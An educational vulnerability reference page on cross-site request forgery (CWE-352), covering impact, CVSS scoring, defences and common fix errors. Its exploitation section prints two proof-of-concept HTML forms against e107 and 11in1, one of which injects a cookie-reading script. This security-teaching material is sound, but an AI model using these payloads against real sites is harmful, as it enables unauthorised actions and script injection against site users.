- CWE-22: Path Traversal
- CWE-78: OS Command Injection
- CWE-79: Cross-Site Scripting
- CWE-89: SQL Injection
- CWE-90: LDAP Injection
- CWE-91: XML Injection
- CWE-94: Code Injection
- CWE-98: PHP File Inclusion
- CWE-113: HTTP Response Splitting
- CWE-119: Buffer Errors
- CWE-130: Improper Handling of Length Parameter Inconsistency
- CWE-193: Off-by-one Error
- CWE-200: Information Exposure
- CWE-211: Information Exposure Through Externally-Generated Error Message
- CWE-236: Improper Handling of Undefined Parameters
- CWE-276: Incorrect Default Permissions
- CWE-284: Improper Access Control
- CWE-285: Improper Authorization
- CWE-287: Improper Authentication
- CWE-297: Improper Validation of Certificate with Host Mismatch
- CWE-306: Missing Authentication for Critical Function
- CWE-312: Cleartext Storage of Sensitive Information
- CWE-345: Insufficient Verification of Data Authenticity
- CWE-352: Cross-Site Request Forgery
- CWE-384: Session Fixation
- CWE-427: Uncontrolled Search Path Element
- CWE-434: Unrestricted Upload of File with Dangerous Type
- CWE-476: NULL Pointer Dereference
- CWE-521: Weak Password Requirements
- CWE-601: Open Redirect
- CWE-611: Improper Restriction of XML External Entity Reference ('XXE')
- CWE-613: Insufficient Session Expiration
- CWE-618: Exposed Unsafe ActiveX Method
- CWE-671: Lack of Administrator Control over Security
- CWE-798: Use of Hard-coded Credentials
- CWE-799: Improper Control of Interaction Frequency
- CWE-822: Untrusted Pointer Dereference
- CWE-835: Infinite Loop
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-942: Overly Permissive Cross-domain Whitelist
CWE is a trademark of the MITRE Corporation.
Cross-Site Request Forgery [CWE-352]
Cross-Site Request Forgery or CSRF (XSRF) describes improper or absent verification of the origin of an HTTP request.
Created: September 11, 2012
Latest Update: June 26, 2019
Table of Content
- Potential impact
- Attack patterns
- Affected software
- Exploitation Examples
- Severity and CVSS Scoring
- Common Fix Errors and Bypasses
- Related Security Advisories
Cross-site request forgery (CSRF) is a weakness within a web application which is caused by insufficient or absent verification of the HTTP request origin. Webservers are usually designed to accept all requests but due to the same-origin policy (SOP) the responses will be prevented from being read. If a client sends several HTTP requests within one or several sessions, it is impossible for a webserver to know whether all the requests were intentional, and they are treated as such. An attacker might be able to trick a user into visiting a specially crafted webpage and forge a request to the vulnerable application from the client's browser. The SOP will not prevent the attack due to the one-way nature of CSRF attacks.
The following example contains a simple HTML form that is used to leave comments for website owners:
- <form name="tstForm" action="/index.php" method="POST">
- <input type="text" name="sName" value="" />
- <textarea name="sText"></textarea>
- <input type="submit" name="btSubmit" value="Send!">
The above form sends HTTP request to the /index.php script. The index.php script contains the following code:
- $sName = $_POST["sName"];
- $sText = $_POST["sText"];
- If ($sName && $sText && CUser::IsAuthorized())
- CComment::AddComment($sName, $sText);
- Echo "Error";
The above code allows publication of a comment when certain conditions are met. If
$sText variables are not empty and user is authenticated in application, the function
CComment::AddComment will be executed and comment will be published. An attacker can trick victim into visiting a webpage that sends the same request to the application. If the victim is authenticated within this application, the comment will be published too.
2. Potential impact
Almost every web application contains functionality that requires certain privileges. If validation of the request origin is not performed, an unauthenticated user might be able to use this functionality, although exploitation of this vulnerability requires some level of social engineering. Depending on the application functionalities, an attacker might be able to gain access to otherwise restricted areas and perform simple tasks such as publishing comments under user's name, creating administrative accounts or use this weakness as a surface for further attacks.
3. Attack patterns
There are following attack patterns that can leverage cross-site request forgery vulnerability:
- CAPEC-62: Cross Site Request Forgery (aka Session Riding)
- CAPEC-462: Cross-Domain Search Timing
- CAPEC-467: Cross Site Identification
Cross-site request forgery is described under WASC-9 in WASC Threat Classification.
4. Affected software
Any web application that uses external input to perform certain tasks is potentially vulnerable to this weakness.
5. Exploitation Examples
We will demonstrate cross-site request forgery attack against a popular content management system e107. Security advisory HTB23004 (Cross-site Request Forgery in e107) describes a case where software does not validate user input in the "
user_include" HTTP POST parameter, this means that we can inject and execute arbitrary HTML and script code in administrator's browser:
An attacker can create a specially crafted webpage and trick a logged-in administrator into visiting it.
We will use the following PoC code to sumbit a form as an administrator and injects the "
<script>alert(document.cookie)</script>" script that is executed every time administrator visits the vulnerable page:
- <form method="POST" action="http://e107.local/e107_admin/users_extended.php?editext" name=m>
- <input type="hidden" name="user_field" value="abcde1f1">
- <input type="hidden" name="user_text" value="12121">
- <input type="hidden" name="user_type" value="1">
- <input type="hidden" name="user_include" value='"><script>alert(document.cookie)</script>'>
- <input type="hidden" name="add_field" value="1">
- <input type="hidden" name="user_parent" value="0">
- <input type="hidden" name="user_required" value="0">
- <input type="hidden" name="user_applicable" value="255">
- <input type="hidden" name="user_read" value="0">
- <input type="hidden" name="user_write" value="253">
- <input type="hidden" name="user_hide" value="0">
- <input type=submit>
HTB23071 security advisory (CVE-2012-0997) is another great example that demonstrates the cross-site request forgery vulnerability. The following code allows an attacker to publish arbitrary articles on the website:
- <form action="http://11in1.local/admin/index.php?class=do&action=addTopic" method="post">
- <input type="hidden" name="name" value="CSRF exploitation example">
- <input type="hidden" name="sec" value="3">
- <input type="hidden" name="content" value="This is CSRF exploitation example.">
- <input type="submit" id="btn">
6. Severity and CVSS Scoring
This weakness should be scored based on the maximum potential impact allowed by application's functionalities.
Scoring example of vulnerability that allows adding a new administrative user or changing email address of an existing administrator will look like this:
8.8 [CVSS:3.0/AV:N/.AC:L/.PR:N/.UI:R/.S:U/.C:H/.I:H/.A:H] - High severity.
If actions of an attacker are limited to e.g. adding comments under user's name the vulnerability can be scored as:
4.3 [CVSS:3.0/AV:N/.AC:L/.PR:N/.UI:R/.S:U/.C:N/.I:L/.A:N] - Medium severity.
Protection from CSRF is basically built on having a nonce, a cookie or any other unique identifier that could be used to validate the request origin. Unfortunately this defense can be bypassed if application contains a cross-site scripting vulnerability, because it gives an attacker possibility to get knowledge of that unique identifier.
The basic rules to protect application from CSRF are:
- Ensure that your application does not have cross-site scripting vulnerabilities
A cross-site scripting vulnerability can be used by an attacker to steal the security token and use it in an attack against the application. The injected script can interact with page elements, read existing tokens and automatically submit the request.
- Generate a unique token for each entity
It's strongly recommended to generate a unique time based-identifier for each entity. It should consist of a unique randomly generated string, which can be used within specific timeframe and limited number of times (preferably just once per entity). This approach will limit possibility for a replay attack, if the security token is somehow intercepted. This token should not be based on account information, provided by the user, and should be hard to guess in case of a brute-force attack, e.g. consist of at least 10-20 characters.
- Use CAPTCHA when possible
Although there is a lot of different techniques and software to guess the CAPTCHA word, it still can be used as an additional protection layer against CSRF attacks.
- Identify dangerous operations and always demand confirmation of dangerous actions
Developers should identify dangerous operations and treat them with caution. For example, when changing account password always demand from user to provide his/her old password; if application allows to drop database, confirm this action by demanding an extra password or CAPTCHA for that matter.
- Use protection frameworks
If you are unable to develop proper CSRF protection mechanism or are not sure of its security level, you can also implement existing solutions, such as:
8. Common Fix Errors and Bypasses
POST Requests for Sensitive Actions
GET requests should not be used for sensitive actions, they can be cached, tracked via HTTP headers, bookmarked, etc, if they contain sensitive parameters this could lead to a security issue. It is correct practice to use POST for such requests, however it is not enough to rely on POST requests for any type of protection against CSRF attacks because as long as an attacker can determine the request structure, an exploit web page can be crafted containing an XMLHTTPRequest, a hidden iFrame, or multipart form data (e.g) to POST the request.
While it will be slightly more difficult, as long as an attacker has knowledge of the required request structure, a POST request can be constructed and embedded into a webpage in which a victim can be tricked into visiting.
Relying on the HTTP Referer Header
While by design this header checks where an incoming request originated from, it is not sufficient enough to prevent CSRF. In certain situations, the Referer may be removed, possibly by intermittent servers and appliances, and the fact that it will be removed when going from HTTP to HTTPS.
Cookies that have been designed to be hidden and secret is not in any form a defence, these will still be automatically passed with the request, regardless.
Unverified Anti-CSRF Token
Even if the application uses a strong anti-CSRF tokens, if they are not validated correctly server-side, then it is simply like not having them at all. Examples of this are only partially validating the token, or not at all.
Predictable Anti-CSRF Token
As the above example, if the token is predictable and not sufficiently random, and an attacker can steal the victim's cookie, then it is possible to brute-force the token. An attacker can generate many requests to the application in order to eventually obtain a valid token. The tokens as well as the victim's cookie can then be leveraged to brute force the request.
Multi-Step Request Chains
Some actions may take multiple transactions to complete, this will not prevent CSRF attacks, as long as the steps can be derived by an attacker, CSRF is possible.
- CWE-352: Cross-Site Request Forgery (CSRF) [cwe.mitre.org]
- Cross-Site Request Forgery (CSRF) [www.owasp.org]
- XSS & CSRF: Practical exploitation of post-authentication vulnerabilities in web applications [www.htbridge.com]
10. Cross-Site Request Forgery Vulnerabilities, Exploits and Examples
- HTB23300: RCE via CSRF in phpMyFAQ
- HTB23298: Multiple Vulnerabilities in CubeCart
- HTB23293: Remote Code Execution via CSRF in iTop
- HTB23294: Admin Password Reset & RCE via CSRF in Dating Pro
- HTB23272: RCE and SQL injection via CSRF in Horde Groupware
Copyright Disclaimer: Any above-mentioned content can be copied and used for non-commercial purposes only if proper credit to ImmuniWeb is given.↑ Back to Top